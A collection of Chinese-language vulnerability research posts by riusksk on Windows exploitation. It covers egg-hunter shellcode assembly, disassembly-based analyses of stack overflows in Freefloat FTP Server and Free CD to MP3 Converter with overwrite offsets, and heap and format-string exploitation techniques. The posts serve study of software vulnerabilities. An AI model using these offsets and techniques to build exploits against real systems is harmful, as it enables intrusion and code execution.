• Shellcode分段执行技术原理

    日期:2011-02-09 | 分类:软件漏洞

    作者: riusksk (泉哥)

    主页: http://riusksk.blogbus.com

    本文已发表于《黑客防线》

    前言

    由于在实际溢出利用中,我们可能会遇到内存中没有足够的空间来存放我们的 shellcode ,但我们又可以控制多块小内存空间的内容,那些此时我们就可使用 shellcode 分段执行技术来进行利用,这种方法在国外被称为“ Omelet Shellcode ”,属于 egg huntshellcode 的一种形式,它先在用户地址空间中寻找与其相匹配的各个小内存块( egg ),然后再将其重构成一块大块的 shellcode ,最后执行它。此项技术最初是由荷兰著名黑客 SkyLined 在其主页上公布的(具体代码参见附件),该黑客先前就职于 Microsoft ,但于 2008 年初转入 Google ,同时他也是著名的字母数字型 shellcode 编码器 Alpha2 / Alpha3 的开发者。

     

    原理分析

              Shellcode 拆分成固定大小的多个代码块,各个代码块中包含有其字节大小 size ,索引值 index ,标记 marker 字节)和数据内容 data ,如图 1 所示:

                1

    egghunter 代码开始执行时,它会在用户内存空间中( 0x00000000~0x80000000 )搜索这些被标记的小块,然后在内存中重构成最初的 shellcode 并执行它。而当 shellcode 执行时,它还会安装 SEH 以处理访问违例时的情况。若出现访问违例,则 SEHhandler 会将地址与 0xFFF 进行或运算,然后再加 1 ,相当于进入下一内存页,以跳过不可读取的内存页。如果搜索的内存地址大于 0x7FFFFFFF ,那么终止搜索,并在内存中重构 shellcode 用于执行,否则重置栈空间,防止因递归进行异常处理而将栈空间耗尽,它会重新设置 SEH handler 并继续搜索内存。相应代码如下:

    reset_stack:
    ; 重置栈空间以防止递归进行异常处理时耗尽栈空间,并设置自己的异常处理例程以处理扫描内存时出现的访问违例情况
        XOR     EAX, EAX                    ; EAX = 0,并作为计数器
        MOV     ECX, [FS:EAX]               ; ECX = SEH结构链表
        find_last_SEH_loop:
        MOV     ESP, ECX                    ; ESP = SEH结构
        POP     ECX                         ; ECX = 下一个SEH结构指针
        CMP     ECX, 0xFFFFFFFF             ; 判断是否是最后一个SEH结构
        JNE     find_last_SEH_loop          ; 不是则跳走并继续查找
        POP     EDX                         ; 最后一个SEH结构中的异常处理例程handler
        CALL    create_SEH_handler          ; 自定义SEH handler
    SEH_handler:
        POPA                                ; ESI = [ESP + 4] -> struct exception_info
        LEA     ESP, [BYTE ESI+0x18]        ; ESP = struct exception_info->exception_address
        POP     EAX                         ; EAX = exception address 0x????????
        OR      AX, 0xFFF                   ; EAX = 0x?????FFF
        INC     EAX                         ; EAX = 0x?????FFF + 1 -> next page
        JS      done                        ; EAX > 0x7FFFFFFF ===> done
        XCHG    EAX, EDI                    ; EDI => next page
        JMP     reset_stack

    当从地址0x00000000开始搜索后,若找到以相匹配的egg_size开头的egg内存块,它会将接下的DWORD值与一个特殊值(3 字节的标记值和1字节的0xFF)相异或,如果是我们要找的egg内存块,那么获取的结果会等于内存块的索引号(从0开始),比如第二块egg内存块的这 个DWORD值为0xBADA55FE,那么它与0xBADA55FF相异或后值为1。如果不是相匹配的egg内存块,则继续搜索下一字节。

    具体内容请参见附件……

     

    下载地址:

    Shellcode 分段执行技术原理.pdf (397.9 KB)
  • Freefloat FTP Server 溢出漏洞分析

    日期:2011-01-06 | 分类:软件漏洞

    By: riusksk(泉哥)
    Blog: http://riusksk.blogbus.com


    在revc函数上下断,逐步跟踪分析下去,来到:

    00401DE0 >/$  56            PUSH ESI
    00401DE1  |.  8BF1          MOV ESI,ECX
    00401DE3  |.  B9 00040000   MOV ECX,400
    00401DE8  |.  6A 00         PUSH 0                                           ; /Flags = 0
    00401DEA  |.  8B46 18       MOV EAX,DWORD PTR DS:[ESI+18]                    ; |
    00401DED  |.  8B56 14       MOV EDX,DWORD PTR DS:[ESI+14]                    ; |
    00401DF0  |.  2BC8          SUB ECX,EAX                                      ; |
    00401DF2  |.  03D0          ADD EDX,EAX                                      ; |
    00401DF4  |.  8B06          MOV EAX,DWORD PTR DS:[ESI]                       ; |
    00401DF6  |.  51            PUSH ECX                                         ; |BufSize = 400 (1024.)
    00401DF7  |.  52            PUSH EDX                                         ; |Buffer = 013C1820
    00401DF8  |.  50            PUSH EAX                                         ; |Socket
    00401DF9  |.  E8 6E190000   CALL <JMP.&WS2_32.#16>                           ; \recv
    00401DFE  |.  85C0          TEST EAX,EAX                                     ;  判断接收的字节数是否为空
    00401E00  |.  74 14         JE SHORT FTPServe.00401E16
    00401E02  |.  83F8 FF       CMP EAX,-1                                       ;  判断是否接收失败
    00401E05  |.  74 0F         JE SHORT FTPServe.00401E16
    00401E07  |.  8B4E 18       MOV ECX,DWORD PTR DS:[ESI+18]                    ;  ecx = 0
    00401E0A  |.  03C8          ADD ECX,EAX                                      ;  ecx = eax = 接收的字节数
    00401E0C  |.  B8 01000000   MOV EAX,1
    00401E11  |.  894E 18       MOV DWORD PTR DS:[ESI+18],ECX
    00401E14  |.  5E            POP ESI
    00401E15  |.  C3            RETN
    00401E16  |>  33C0          XOR EAX,EAX
    00401E18  |.  5E            POP ESI
    00401E19  \.  C3            RETN

    继续分析下去:

    004021FA  |> \6A 05         PUSH 5
    004021FC  |.  68 68A44000   PUSH FTPServe.0040A468                                 ;  ASCII "USER "
    00402201  |.  57            PUSH EDI
    00402202  |.  E8 691B0000   CALL FTPServe.00403D70
    00402207  |.  83C4 0C       ADD ESP,0C
    0040220A  |.  85C0          TEST EAX,EAX
    0040220C  |.  0F85 A3000000 JNZ FTPServe.004022B5
    00402212  |.  83C9 FF       OR ECX,FFFFFFFF
    00402215  |.  83C7 05       ADD EDI,5
    00402218  |.  F2:AE         REPNE SCAS BYTE PTR ES:[EDI]
    0040221A  |.  F7D1          NOT ECX
    0040221C  |.  2BF9          SUB EDI,ECX
    0040221E  |.  8D5D 1C       LEA EBX,DWORD PTR SS:[EBP+1C]
    00402221  |.  8BC1          MOV EAX,ECX
    00402223  |.  8BF7          MOV ESI,EDI
    00402225  |.  C1E9 02       SHR ECX,2
    00402228  |.  8BFB          MOV EDI,EBX
    0040222A  |.  8D95 2C050000 LEA EDX,DWORD PTR SS:[EBP+52C]
    00402230  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
    00402232  |.  8BC8          MOV ECX,EAX
    00402234  |.  33C0          XOR EAX,EAX
    00402236  |.  83E1 03       AND ECX,3
    00402239  |.  52            PUSH EDX
    0040223A  |.  F3:A4         REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
    0040223C  |.  83C9 FF       OR ECX,FFFFFFFF
    0040223F  |.  BF 50A44000   MOV EDI,FTPServe.0040A450                              ;  ASCII "Password required for "
    00402244  |.  F2:AE         REPNE SCAS BYTE PTR ES:[EDI]
    00402246  |.  F7D1          NOT ECX                                                
    00402248  |.  2BF9          SUB EDI,ECX
    0040224A  |.  68 4B010000   PUSH 14B
    0040224F  |.  8BC1          MOV EAX,ECX
    00402251  |.  8BF7          MOV ESI,EDI
    00402253  |.  8BFA          MOV EDI,EDX
    00402255  |.  C1E9 02       SHR ECX,2
    00402258  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
    0040225A  |.  8BC8          MOV ECX,EAX
    0040225C  |.  33C0          XOR EAX,EAX
    0040225E  |.  83E1 03       AND ECX,3
    00402261  |.  F3:A4         REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
    00402263  |.  8BFB          MOV EDI,EBX
    00402265  |.  83C9 FF       OR ECX,FFFFFFFF
    00402268  |.  F2:AE         REPNE SCAS BYTE PTR ES:[EDI]
    0040226A  |.  F7D1          NOT ECX
    0040226C  |.  2BF9          SUB EDI,ECX
    0040226E  |.  8BF7          MOV ESI,EDI
    00402270  |.  8BD9          MOV EBX,ECX
    00402272  |.  8BFA          MOV EDI,EDX
    00402274  |.  83C9 FF       OR ECX,FFFFFFFF
    00402277  |.  F2:AE         REPNE SCAS BYTE PTR ES:[EDI]
    00402279  |.  8BCB          MOV ECX,EBX
    0040227B  |.  4F            DEC EDI
    0040227C  |.  C1E9 02       SHR ECX,2
    0040227F  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]         ;  在我们发送的垃圾字符前(不包括前面的"USER ")添加"Password required for ",共22字节
    00402281  |.  8BCB          MOV ECX,EBX
    00402283  |.  83E1 03       AND ECX,3
    00402286  |.  F3:A4         REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
    00402288  |.  BF 4CA44000   MOV EDI,FTPServe.0040A44C
    0040228D  |.  83C9 FF       OR ECX,FFFFFFFF
    00402290  |.  F2:AE         REPNE SCAS BYTE PTR ES:[EDI]
    00402292  |.  F7D1          NOT ECX
    00402294  |.  2BF9          SUB EDI,ECX
    00402296  |.  8BF7          MOV ESI,EDI
    00402298  |.  8BD9          MOV EBX,ECX
    0040229A  |.  8BFA          MOV EDI,EDX
    0040229C  |.  83C9 FF       OR ECX,FFFFFFFF
    0040229F  |.  F2:AE         REPNE SCAS BYTE PTR ES:[EDI]
    004022A1  |.  8BCB          MOV ECX,EBX
    004022A3  |.  4F            DEC EDI
    004022A4  |.  C1E9 02       SHR ECX,2
    004022A7  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
    004022A9  |.  8BCB          MOV ECX,EBX
    004022AB  |.  83E1 03       AND ECX,3
    004022AE  |.  F3:A4         REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]

    进入漏洞函数:
    00402DE0  /$  81EC 00010000 SUB ESP,100                                      ;  分配256字节的栈空间,前面可接收1024字节〉256字节,导致溢出
    00402DE6  |.  53            PUSH EBX
    00402DE7  |.  8BD9          MOV EBX,ECX
    00402DE9  |.  8B8C24 080100>MOV ECX,DWORD PTR SS:[ESP+108]
    00402DF0  |.  B8 1F85EB51   MOV EAX,51EB851F
    00402DF5  |.  F7E9          IMUL ECX
    00402DF7  |.  C1FA 05       SAR EDX,5
    00402DFA  |.  8BC2          MOV EAX,EDX
    00402DFC  |.  55            PUSH EBP
    00402DFD  |.  C1E8 1F       SHR EAX,1F
    00402E00  |.  03D0          ADD EDX,EAX
    00402E02  |.  B8 67666666   MOV EAX,66666667
    00402E07  |.  80C2 30       ADD DL,30
    00402E0A  |.  56            PUSH ESI
    00402E0B  |.  885424 0C     MOV BYTE PTR SS:[ESP+C],DL
    00402E0F  |.  F7E9          IMUL ECX
    00402E11  |.  8BC2          MOV EAX,EDX
    00402E13  |.  BE 0A000000   MOV ESI,0A
    00402E18  |.  C1F8 02       SAR EAX,2
    00402E1B  |.  8BD0          MOV EDX,EAX
    00402E1D  |.  57            PUSH EDI
    00402E1E  |.  C1EA 1F       SHR EDX,1F
    00402E21  |.  03C2          ADD EAX,EDX
    00402E23  |.  8BBC24 180100>MOV EDI,DWORD PTR SS:[ESP+118]
    00402E2A  |.  99            CDQ
    00402E2B  |.  F7FE          IDIV ESI
    00402E2D  |.  8BC1          MOV EAX,ECX
    00402E2F  |.  8BCE          MOV ECX,ESI
    00402E31  |.  C64424 13 20  MOV BYTE PTR SS:[ESP+13],20
    00402E36  |.  80C2 30       ADD DL,30
    00402E39  |.  885424 11     MOV BYTE PTR SS:[ESP+11],DL
    00402E3D  |.  99            CDQ
    00402E3E  |.  F7F9          IDIV ECX
    00402E40  |.  83C9 FF       OR ECX,FFFFFFFF
    00402E43  |.  33C0          XOR EAX,EAX
    00402E45  |.  80C2 30       ADD DL,30
    00402E48  |.  F2:AE         REPNE SCAS BYTE PTR ES:[EDI]
    00402E4A  |.  F7D1          NOT ECX
    00402E4C  |.  2BF9          SUB EDI,ECX
    00402E4E  |.  885424 12     MOV BYTE PTR SS:[ESP+12],DL
    00402E52  |.  8D5424 14     LEA EDX,DWORD PTR SS:[ESP+14]                    ;  正是此局部变量被溢出了,它距离返回地址有253字节
    00402E56  |.  8BC1          MOV EAX,ECX
    00402E58  |.  8BF7          MOV ESI,EDI
    00402E5A  |.  8BFA          MOV EDI,EDX
    00402E5C  |.  C1E9 02       SHR ECX,2
    00402E5F  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]   ;  将数据复制到存在漏洞的局部变量中,引发漏洞
    00402E61  |.  8BC8          MOV ECX,EAX
    00402E63  |.  33C0          XOR EAX,EAX
    00402E65  |.  83E1 03       AND ECX,3
    00402E68  |.  8D5424 10     LEA EDX,DWORD PTR SS:[ESP+10]
    00402E6C  |.  F3:A4         REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]     ;  这里再添加4字节的"331 ",这值是通过上面计算得到的,
                                                                                 ;  原本需要填充256个'A',但由于软件在其前面又添加了22+4=26字节,故覆盖返回地址只须230字节
    00402E6E  |.  BF 88A54000   MOV EDI,FTPServe.0040A588                        ;  ASCII "
    "
    00402E73  |.  83C9 FF       OR ECX,FFFFFFFF
    00402E76  |.  F2:AE         REPNE SCAS BYTE PTR ES:[EDI]
    00402E78  |.  F7D1          NOT ECX
    00402E7A  |.  2BF9          SUB EDI,ECX
    00402E7C  |.  50            PUSH EAX                                         ; /Flags => 0
    00402E7D  |.  8BF7          MOV ESI,EDI                                      ; |
    00402E7F  |.  8BE9          MOV EBP,ECX                                      ; |
    00402E81  |.  8BFA          MOV EDI,EDX                                      ; |
    00402E83  |.  83C9 FF       OR ECX,FFFFFFFF                                  ; |
    00402E86  |.  F2:AE         REPNE SCAS BYTE PTR ES:[EDI]                     ; |
    00402E88  |.  8BCD          MOV ECX,EBP                                      ; |
    00402E8A  |.  4F            DEC EDI                                          ; |
    00402E8B  |.  C1E9 02       SHR ECX,2                                        ; |
    00402E8E  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]   ; |
    00402E90  |.  8BCD          MOV ECX,EBP                                      ; |
    00402E92  |.  83E1 03       AND ECX,3                                        ; |
    00402E95  |.  F3:A4         REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]     ; |
    00402E97  |.  8D7C24 14     LEA EDI,DWORD PTR SS:[ESP+14]                    ; |
    00402E9B  |.  83C9 FF       OR ECX,FFFFFFFF                                  ; |
    00402E9E  |.  F2:AE         REPNE SCAS BYTE PTR ES:[EDI]                     ; |
    00402EA0  |.  F7D1          NOT ECX                                          ; |
    00402EA2  |.  49            DEC ECX                                          ; |
    00402EA3  |.  8D4424 14     LEA EAX,DWORD PTR SS:[ESP+14]                    ; |
    00402EA7  |.  51            PUSH ECX                                         ; |DataSize
    00402EA8  |.  8B0B          MOV ECX,DWORD PTR DS:[EBX]                       ; |
    00402EAA  |.  50            PUSH EAX                                         ; |Data
    00402EAB  |.  51            PUSH ECX                                         ; |Socket
    00402EAC  |.  E8 C7080000   CALL <JMP.&WS2_32.#19>                           ; \send
    00402EB1  |.  5F            POP EDI
    00402EB2  |.  5E            POP ESI
    00402EB3  |.  5D            POP EBP
    00402EB4  |.  5B            POP EBX
    00402EB5  |.  81C4 00010000 ADD ESP,100
    00402EBB  \.  C2 0800       RETN 8                                           ;  由于ret 8,因此这里在jmp esp之后还至少得再添加8字节垃圾字符



  • 标题:Free CD to MP3 Converter v3.1 栈溢出漏洞分析与利用
    作者:riusksk(泉哥)
    主页:http://riusksk.blogbus.com


    本文已发表于《黑客防线》


    前言

    前些天在exploit-db上看到此漏洞公告,刚好也有提供漏洞软件的下载,于是就下载下来分析分析,并自己动手写了写exploit,在虚拟机 xp sp3下已经测试成功。以前也没有写过关于溢出漏洞分析的文章,今刚好碰到周末,就自己动手分析了下漏洞成因,因此也就有了本文。本文分析的软件是 Free CD to MP3 Converter v3.1, 它是一款将CD音频提取出来并压缩成MP3格式的软件。该软件在读取本地文件时未验证其 内容大小,从而导致在将文件内容保存到局部变量时可引发溢出,进而覆盖返回地址以及SEH结构,恶意用户通过构造特定文件即可执行任意代码。 

    漏洞分析

    在ReadFile上下断后,经过多次调试,最终找到了漏洞函数sub_4AC138,其在IDA下的反汇编代码如下:

    代码:
    CODE:004AC138 sub_4AC138      proc near               ; CODE XREF: sub_4AA590+50 p
    CODE:004AC138                                         ; sub_4AA590+26B p
    CODE:004AC138
    CODE:004AC138 var_1024        = dword ptr -1024h
    CODE:004AC138 var_1020        = dword ptr -1020h
    CODE:004AC138 var_101C        = word ptr -101Ch
    CODE:004AC138 var_1018        = dword ptr -1018h
    CODE:004AC138 var_1014        = dword ptr -1014h
    CODE:004AC138 var_1010        = dword ptr -1010h      ;读取文件内容后就是从这一局部变量开始保存的,通过这里就可以确定函数分配的栈空间大小为1010h,即4112字节,因为栈空间是由高到低分配的,所以要覆盖到返回地址就要填充4112字节才行。
    CODE:004AC138
    CODE:004AC138                 push    ebx
    CODE:004AC139                 push    esi
    CODE:004AC13A                 push    edi
    CODE:004AC13B                 push    ebp
    CODE:004AC13C                 add     esp, 0FFFFF004h ; 分配栈空间
    CODE:004AC142                 push    eax
    CODE:004AC143                 add     esp, 0FFFFFFF4h ; 继续分配栈空间
    CODE:004AC146                 mov     esi, eax
    CODE:004AC148                 mov     byte ptr [esi+407Ch], 0
    CODE:004AC14F                 xor     edi, edi
    CODE:004AC151                 mov     ebx, 4
    CODE:004AC156                 lea     edx, [esp+101Ch+var_1010] ; 将edx指向局部变量,后面将用它来保存读取的文件内容,即我们构造的文件内容将会填充到栈空间
    CODE:004AC15A                 mov     ecx, 4
    CODE:004AC15F                 mov     eax, [esi+44h]
    CODE:004AC162                 mov     ebp, [eax]
    CODE:004AC164                 call    _ReadWavFile      ;用于读取文件内容

    0041EC54   .  8B40 04       MOV EAX,DWORD PTR DS:[EAX+4]
    0041EC57   .  E8 F4A7FEFF   CALL <cdextrac._MyReadFile>

    00409450 >/$  53            PUSH EBX
    00409451  |.  56            PUSH ESI
    00409452  |.  57            PUSH EDI
    00409453  |.  51            PUSH ECX
    00409454  |.  8BF9          MOV EDI,ECX
    00409456  |.  8BF2          MOV ESI,EDX
    00409458  |.  8BD8          MOV EBX,EAX
    0040945A  |.  6A 00         PUSH 0                                ; /pOverlapped = NULL
    0040945C  |.  8D4424 04     LEA EAX,DWORD PTR SS:[ESP+4]            ; |
    00409460  |.  50            PUSH EAX                              ; |pBytesRead
    00409461  |.  57            PUSH EDI                              ; |BytesToRead
    00409462  |.  56            PUSH ESI                              ; |Buffer
    00409463  |.  53            PUSH EBX                             ; |hFile
    00409464  |.  E8 23DBFFFF   CALL <JMP.&kernel32.ReadFile>            ; \ReadFile,读取文件内容并将其保存在漏洞函数的局部变量中
    00409469  |.  85C0          TEST EAX,EAX
    0040946B  |.  75 07         JNZ SHORT cdextrac.00409474
    0040946D  |.  C70424 FFFFFF>MOV DWORD PTR SS:[ESP],-1
    00409474  |>  8B0424        MOV EAX,DWORD PTR SS:[ESP]
    00409477  |.  5A            POP EDX
    00409478  |.  5F            POP EDI
    00409479  |.  5E            POP ESI
    0040947A  |.  5B            POP EBX
    0040947B  \.  C3            RETN

    0041EC5C   .  83F8 FF       CMP EAX,-1
    0041EC5F   .  75 02         JNZ SHORT cdextrac.0041EC63
    0041EC61   .  33C0          XOR EAX,EAX
    0041EC63   >  C3            RETN

    CODE:004AC167                 cmp     ebx, 2000h      ; 作为计数器
    CODE:004AC16D                 jge     loc_4AC624      ; 跳走则函数结束
    CODE:004AC173
    CODE:004AC173 loc_4AC173:                             ; CODE XREF: sub_4AC138+4E6 j
    CODE:004AC173                 mov     eax, edi
    CODE:004AC175                 cmp     eax, 4          ; switch 5 cases
    CODE:004AC178                 ja      loc_4AC5F4      ; default
    CODE:004AC17E                 jmp     off_4AC185[eax*4] ; switch jump,判断是哪一文件部分,如RIFF,WAVE,FMT,DATA等等,然后跳至相应位置进行处理,由于文件全部用A来填充,因此文件处理均在RIFF部分中进行
    CODE:004AC17E ; ---------------------------------------------------------------------------
    CODE:004AC185 off_4AC185      dd offset loc_4AC199    ; DATA XREF: sub_4AC138+46 r
    CODE:004AC185                 dd offset loc_4AC1E0    ; jump table for switch statement
    CODE:004AC185                 dd offset loc_4AC227
    CODE:004AC185                 dd offset loc_4AC467
    CODE:004AC185                 dd offset loc_4AC55B
    CODE:004AC199 ; ---------------------------------------------------------------------------
    CODE:004AC199
    CODE:004AC199 loc_4AC199:                             ; CODE XREF: sub_4AC138+46 j
    CODE:004AC199                                         ; DATA XREF: sub_4AC138:off_4AC185 o
    CODE:004AC199                 mov     edx, offset aRiff_0 ; jumptable 004AC17E case 0,资源交换文件标志(RIFF)
    CODE:004AC19E                 lea     eax, [esp+ebx+101Ch+var_1014]
    CODE:004AC1A2                 call    sub_4AA4F4
    CODE:004AC1A7                 test    al, al
    CODE:004AC1A9                 jnz     short loc_4AC1C2
    CODE:004AC1AB                 lea     edx, [esp+ebx+101Ch+var_1010] ; 局部变量,从栈顶开始向栈底填充文件内容
    CODE:004AC1AF                 mov     ecx, 1
    CODE:004AC1B4                 mov     eax, [esi+44h]
    CODE:004AC1B7                 mov     ebp, [eax]
    CODE:004AC1B9                 call    _ReadWavFile ; 读取文件内容
    CODE:004AC1BC                 inc     ebx  ;递增计数器
    CODE:004AC1BD                 jmp     loc_4AC5F4      ; default

    ……省略部分代码……

    CODE:004AC5F4
    CODE:004AC5F4 loc_4AC5F4:                             ; CODE XREF: sub_4AC138+40 j
    CODE:004AC5F4                                         ; sub_4AC138+85 j ...
    CODE:004AC5F4                 mov     eax, [esi+44h]  ; default
    CODE:004AC5F7                 mov     edx, [eax]
    CODE:004AC5F9                 call    dword ptr [edx]
    CODE:004AC5FB                 push    edx
    CODE:004AC5FC                 push    eax
    CODE:004AC5FD                 mov     eax, [esi+44h]
    CODE:004AC600                 call    @Classes@TStream@GetPosition$qqrv ; Classes::TStream::GetPosition(void)
    CODE:004AC605                 cmp     edx, [esp+1024h+var_1020]
    CODE:004AC609                 jnz     short loc_4AC614
    CODE:004AC60B                 cmp     eax, [esp+1024h+var_1024]
    CODE:004AC60E                 pop     edx
    CODE:004AC60F                 pop     eax
    CODE:004AC610                 jb      short loc_4AC618
    CODE:004AC612                 jmp     short loc_4AC624
    CODE:004AC614 ; ---------------------------------------------------------------------------
    CODE:004AC614
    CODE:004AC614 loc_4AC614:                             ; CODE XREF: sub_4AC138+4D1 j
    CODE:004AC614                 pop     edx
    CODE:004AC615                 pop     eax
    CODE:004AC616                 jge     short loc_4AC624
    CODE:004AC618
    CODE:004AC618 loc_4AC618:                             ; CODE XREF: sub_4AC138+4D8 j
    CODE:004AC618                 cmp     ebx, 2000h      ;计数器,循环读取文件,第一次是读取4字节,之后都是一字节一字节地读取,故共可读取2003h > 1010h,最终导致溢出!!!
    CODE:004AC61E                 jl      loc_4AC173      ;若小于2000h则跳至上方实现循环操作
    CODE:004AC624
    CODE:004AC624 loc_4AC624:                             ; CODE XREF: sub_4AC138+35 j
    CODE:004AC624                                         ; sub_4AC138+4DA j ...
    CODE:004AC624                 mov     byte ptr [esi+407Ch], 0
    CODE:004AC62B
    CODE:004AC62B loc_4AC62B:                             ; CODE XREF: sub_4AC138+1BE j
    CODE:004AC62B                                         ; sub_4AC138+4BA j
    CODE:004AC62B                 add     esp, 100Ch
    CODE:004AC631                 pop     ebp
    CODE:004AC632                 pop     edi
    CODE:004AC633                 pop     esi
    CODE:004AC634                 pop     ebx
    CODE:004AC635                 retn
    CODE:004AC635 sub_4AC138      endp

    更多内容请参见附件……

     

    上传的附件
    文件类型: doc Free CD to MP3 Converter v3.1 栈溢出漏洞分析与利用.doc (146.0 KB)  
       
  • 标题:Windows平台下的堆溢出利用技术
    作者:mr_me
    译者:riusksk(泉哥:http://riusksk.blogbus.com)


    本文已发表于《黑客防线》

    前言
    在栈溢出中我们一般都是通过控制指令指针EIP,或者覆盖SEH来实现溢出利用的,而在本文即将讲到及测试所使用的利用技术中,并没有直接运用到覆盖 EIP或者SEH。我们将通过覆盖一可控制的内存地址,进而实现任意的DWORD覆写。如果你对栈溢出的认识还没有达到中/高等水平,那么我建议你先集中 精力去学习一下。本文所讲述的利用技术均是些年过已久的旧技术,如果你有什么新的利用技术,记得分享一下。阅读本文前你需要具备以下条件:
    ●  Windows XP SP1;
    ●  调试器(Olly Debugger, Immunity Debugger, windbg等等);
    ●  C/C++ 编译器(Dev C++, lcc-32, MS visual C++ 6.0);
    ●  脚本语言执行环境(本文使用python,你也可以使用perl);
    ●  大脑;
    ●  具备汇编和C语言知识,并懂得如何用调试器去调试它们;
    ●  Olly Debugger插件HideDbg,或者Immunity Debugger的!hidedebug命令插件;
    ●  时间。
    我们在本文主要注重于基础知识,这些技术可能因有些过时而未在“现实世界”中使用,但有一点你必须记住,如果你想提高技术,就必须知晓过去,并取其所长来为己所用!

    堆的定义及其在XP下的工作原理
    堆是进程用于存储数据的场所,每一进程均可动态地分配和释放程序所需的堆内存,同时允许全局访问。需要指出的是,栈是向0x00000000生长的,而堆 是向0xFFFFFFFF生长的。这意味着如果某进程连续两次调用HeapAllocate()函数,那么第二次调用函数返回的指针所指向的内存地址会比 第一次的高,因此第一块堆溢出后将会溢出至第二块堆内存。
    更多内容请参见附件………………

    上传的附件
    文件类型: doc windows平台下的堆溢出利用技术.doc (633.5 KB)  
  • 标题:windows平台下的格式化字符串漏洞利用技术
    作者:Abysssec
    译者:riusksk(泉哥:http://riusksk.blogbus.com)


    本文已发表于《黑客防线》


    本文真正的受益者应该是那些有定汇编语言基础,以及具备经典的栈溢出知识的人,这样本文才能引领读者在windows平台下编写出自己的格式化字符串漏洞 利用程序。本文主要讲述各种关键的利用技术,也许在本文发布前已经有不少人写了关于格式化字符串漏洞的文章,但他们的文章一般都相对枯燥和基础。但我们也 不敢说本文讲述得相当出色和全面,不过我们会尽量使其达到这种程度。
    格式化字符串这类软件漏洞最初是在1999年左右发现的,但在2000年之前一直被认为是没有危害和利用价值的。格式化字符串攻击可使程序崩溃或者执行恶 意代码。这个问题源于对用户输入内容未进行过滤导致的,这些输入数据都是作为某些C函数执行格式化操作时的参数,如printf()。恶意用户可以使 用%s和%x等格式符,从堆栈或其它可能内存位置来输出数据。也可以使用格式符%n向任意地址写入任意数据, 配合printf()函数和其它类似功能的 函数就可以向存储在栈上的地址写入被格式化的字节数。一个经典的exploit是混合这些技术,然后用恶意shellcode的地址来覆盖某一链接库函数 地址或者栈上的返回地址。其中填充的一些格式化参数主要是用于控制输出的字节数,而%x主要用于从栈中弹出字节直至格式化字符串自身的起始位置。伪造的格 式化字符串起始部分应该用欲执行的恶意代码地址来覆写,这个可以借助%n格式符来实现。因此你现在需要理解受此类漏洞影响的PERL 和C/C++软件, 除printf()函数之外,其它函数也可能受到格式化字符串漏洞的影响,比如:
    ●  Printf()
    ●  Snprintf()
    ●  Vprintf()
    ●  Syslog()
    ●  ……
    格式化字符串漏洞除了可以执行恶意代码外,还可以从漏洞程序中读取某些数据,比如密码及其它重要信息。下面我们写份C代码进行分析,以帮助大家理解消化。
    更多内容请参见附件……

    上传的附件
    文件类型: doc windows平台下的格式化字符串漏洞利用技术.doc (709.0 KB)  
  • windows堆溢出利用方式总结

    日期:2010-11-27 | 分类:软件漏洞

      
    Title:windows堆溢出利用方式总结
    Author:riusksk(泉哥)
    Blog  :http://riusksk.blogbus.com

    一、利用VEH

    向量化异常处理(VEH,Vectored Exception Handling)最初是在XP中公布,它的优先级高于SEH,并且VEH是存在堆中的,它是你在代码中明确添加的,并不伴随try/catch之类的语句而产生,它也需要通过API(AddVectoredExceptionHandler)来注册回调函数,并可注册多个VEH,各个VEH结构体之间串成双向链表,因此比SEH多了一个前后指针,其它更详细的信息可参考《Windows XP中的向量化异常处理》一文:http://bbs.pediy.com/showthread.php?t=49868。每一个VEH结构均存储在堆上,其结构如下:

    struct _VECTORED_EXCEPTION_NODE
    {
        DWORD   m_pNextNode;        //指向下一个_VECTORED_EXCEPION_NODE结构,因此可用伪造的指针来覆盖它
        DWORD   m_pPreviousNode;        //指向上一个_VECTORED_EXCEPION_NODE结构
        PVOID   m_pfnVectoredHandler;    //异常处理函数
    }

    负责分发_VECTORED_EXCEPION_NODE的代码如下:

    77F7F49E   8B35 1032FC77    MOV ESI,DWORD PTR DS:[77FC3210]    ;赋值后ESI指向_VECTORED_EXCEPION_NODE结构,即m_pNextNode
    77F7F4A4   EB 0E            JMP SHORT ntdll.77F7F4B4
    77F7F4A6   8D45 F8          LEA EAX,DWORD PTR SS:[EBP-8]
    77F7F4A9   50               PUSH EAX
    77F7F4AA   FF56 08          CALL DWORD PTR DS:[ESI+8]        ;可用shellcode-0x8去覆盖m_pNextNode指针

    接着我们在堆中确定shellcode地址,可先用垃圾字符去填充,比如'0x41',然后在堆中搜索它。当发生堆溢出时,堆块的前向指针和后向指针就会被篡改,比如异常出现在:

    MOV DWORD PTR DS:[ECX],EAX    ;EAX = Flink = 写入的内容
    MOV DWORD PTR DS:[EAX+4],ECX    ;ECX = Blink = 写入的地址

    那么我们就可以用m_pNextNode-4来覆盖ECX,然后用shellcode-8去覆盖EAX。关于m_pNextNode指针的获取,我们只需在触发异常后,按shift+F7步过异常即可找到此指针,比如以下代码:

    77F60C2C   BF 1032FC77      MOV EDI,ntdll.77FC3210        ;m_pNextNode指针
    77F60C31   393D 1032FC77    CMP DWORD PTR DS:[77FC3210],EDI
    77F60C37   0F85 48E80100    JNZ ntdll.77F7F485

    关于EAX和ECX的偏移地址可通过pattern_create和pattern_offset来获取。这样当触发异常时就会调用VEH,而此时下一个VEH结构即是我们特意构造的shellcode,这样我们的恶意代码就有可以被执行了。

    二、利用UEF

    系统默认异常处理函数(UEF,Unhandler Exception Filter)是系统处理异常时最后调用的一个异常处理例程,在堆溢出中,只需将这一地址覆盖为我们的shellcode地址即可。获取UEF地址的方法可以通过查看SetUnhandledExceptionFilter()的代码来定位,接着再找到操作UnhandledExceptionFilter指针的MOV指令,比如以下代码:

